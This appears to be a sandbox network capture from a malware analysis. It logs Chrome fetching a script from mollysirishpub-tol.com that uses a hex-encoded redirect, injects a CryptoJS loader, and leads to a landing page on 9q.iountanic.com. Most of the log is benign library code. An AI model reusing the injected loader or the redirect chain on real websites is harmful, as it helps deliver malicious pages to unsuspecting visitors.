33 38 5d 29 2c 6d 3d Data Ascii: ,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=
2024-10-11 13:53:44 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c Data Ascii: .call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|
2024-10-11 13:53:44 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c Data Ascii: ction(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49702	69.49.245.172	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:44 UTC	430	OUT	GET /res444.php?2-68747470733a2f2f39512e696f756e74616e69632e636f6d2f34724772612f-mandrill HTTP/1.1 Host: mollysirishpub-tol.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:44 UTC	196	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:43 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2024-10-11 13:53:44 UTC	1978	IN	Data Raw: 37 61 65 0d 0a 20 20 20 20 76 61 72 20 48 42 4d 45 56 78 6c 46 58 6c 5a 71 51 6d 62 41 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 48 42 4d 45 56 78 6c 46 58 6c 5a 71 51 6d 62 41 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 48 42 4d 45 56 78 6c 46 58 6c 5a 71 51 6d 62 41 29 3b 0d 0a 48 42 4d 45 56 78 6c 46 58 6c 5a 71 51 6d 62 41 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 7ae var HBMEVxlFXlZqQmbA = document.createElement("script");HBMEVxlFXlZqQmbA.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(HBMEVxlFXlZqQmbA);HBMEVxlFXlZqQmbA.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49704	104.17.25.14	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:45 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:45 UTC	961	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:45 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 71832 Expires: Wed, 01 Oct 2025 13:53:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LrCgUtaYpqpfFT7jJL4bRma%2F92Q6CX7W1NY2QGAN%2BumyvwzhX8szswYwybN1gVTAMv5LKCBLSGFxTCqzdvSnJS5HLeplXS2%2Fc0kuC%2F1H8wXZnnAFguS8fzcMPI3ghB7g7ffryb%2FK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d0f5694cfd4c425-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:45 UTC	408	IN	Data Raw: 37 62 65 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7be8!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 Data Ascii: (t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==type
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e Data Ascii: o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:fun
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f Data Ascii: e(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doPro
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e Data Ascii: 5===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c Data Ascii: +(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 Data Ascii: 6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=42949
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d Data Ascii: =A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 Data Ascii: lone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c
2024-10-11 13:53:45 UTC	1369	IN	Data Raw: 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 Data Ascii: ,function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49708	104.21.68.104	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:46 UTC	651	OUT	GET /4rGra/ HTTP/1.1 Host: 9q.iountanic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:46 UTC	1073	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JQ4uCbCEMlx5CVOYj0xARENmTRQfKJckfUFRvhhH7AvRdCInhZuDN8do%2B1BdHVI%2FUXcL%2BuSRwELCE2uNungtClVnK2jEfzIdX39V1mPSnp%2BrGVzTQJ8ZhCoZTTioTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IkFqeGtBNmFyN2M5WlRkbkkzUnVuZWc9PSIsInZhbHVlIjoidmtDZEVzZ0l0ci9UbmNJNnVTdDRsYVFmRUpKUG95aDBVUVFMWGJOQXNiRi9RdGVmWGZtUG4xU2VWQ2ZTdDYyWkpQOVROOUIrd2RDT3lBK2JqVWtGbFJka1NWRmhUYjhZN2hCdkg3R0o3L1AveTQ5YUdYVGQ3UjRBcTVWTWk0MGEiLCJtYWMiOiJmZTEyMGM3NWJlZTVhMDAyNTMwNDlmNjY3YWZmMTVlM2QwNmZlZTE5MjIwYzZjOTMwZWNmMDE2YWUxM2IxZTFjIiwidGFnIjoiIn0%3D; expires=Fri, 11-Oct-2024 15:53:46 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-10-11 13:53:46 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 49 31 4f 45 78 5a 55 45 31 6a 64 57 70 6c 65 6d 4d 7a 54 55 34 77 62 7a 59 78 62 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 47 74 44 54 56 4e 31 55 69 39 77 64 30 35 73 4d 54 5a 33 61 57 64 35 4d 45 4a 79 65 58 52 44 54 69 39 43 64 44 4a 53 53 6d 35 34 4e 6c 4e 72 5a 69 73 7a 65 54 5a 35 64 48 6c 47 57 47 64 34 4e 55 77 79 51 6d 64 44 62 6d 31 72 61 7a 42 47 59 69 74 4d 53 6d 4a 52 54 46 56 75 51 57 52 6d 4b 32 68 4d 4c 31 42 70 56 57 64 68 61 48 46 4e 53 33 41 34 53 57 78 4a 59 7a 4d 30 4e 48 68 35 4e 48 56 72 61 32 5a 58 53 31 4e 33 4f 54 52 4b 63 47 4e 53 65 6d 78 54 62 6c 68 34 61 46 5a 71 4d 6a 5a 73 56 6d 35 6b 4e 6d 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InI1OExZUE1jdWplemMzTU4wbzYxbnc9PSIsInZhbHVlIjoiNGtDTVN1Ui9wd05sMTZ3aWd5MEJyeXRDTi9CdDJSSm54NlNrZiszeTZ5dHlGWGd4NUwyQmdDbm1razBGYitMSmJRTFVuQWRmK2hML1BpVWdhaHFNS3A4SWxJYzM0NHh5NHVra2ZXS1N3OTRKcGNSemxTblh4aFZqMjZsVm5kNmE
